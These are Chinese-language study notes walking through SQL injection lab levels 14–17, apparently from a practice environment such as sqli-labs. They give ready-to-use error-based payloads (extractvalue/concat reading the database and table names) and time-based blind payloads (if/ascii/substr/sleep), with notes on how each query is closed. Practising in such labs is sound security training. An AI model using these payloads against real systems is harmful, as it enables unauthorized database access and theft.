LESS-14
输入:admin”
由此可见这个有错误提示且为双引号闭合;
由于有报错提醒故可用报错注入:
admin" and extractvalue(1,concat(0x7e,(select database()),0x7e))#
Admin” and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=”security”),0x7e))#以上错误时因为报错的行数超过了一行。
改进:admin" and extractvalue (1,concat(0x7e,(select table_name from information_schema.tables where table_schema=“security” limit 0,1),0x7e))#
LESS-15由此可见没有报错系统,故不可用报错注入但是可以尝试延时注入
输入admin”#输入:admin’#
所以sql语句是一单引号的方式闭合
延时注入:admin’ and if(ascii(substr(database(),1,1))=115,1,sleep(5))#
错误以出现停顿:admin’ and if(ascii(substr(database(),1,1))=114,1,sleep(5))#
LESS-16与less-15类似不过闭合方式发生改变为admin”)
LESS-17由此可见可以使用报错注入
特殊点:
提问:在看源代码的时候,先进行一次 select 语句,那为什么我们不从 username 处进行构
造呢?
其实我们可以在源代码中看到一个函数。check_input()函数里的几个函数你就明白了
(即:在我们 less17 的 check_input()中,对 username 进行各种转义的处理,所以此处不能使用username 进行注入)
用户名输入:admin;密码:bbb’
错误提示’admin”可知用户名是由”方式闭合
报错注入:(用户名出输入)bbb’and extractvalue(1,concat(0x7e,(select database()),0x7e))#
延时注入bbb’ and if(ascii(substr( database(),1,1))=115,1,sleep(5))#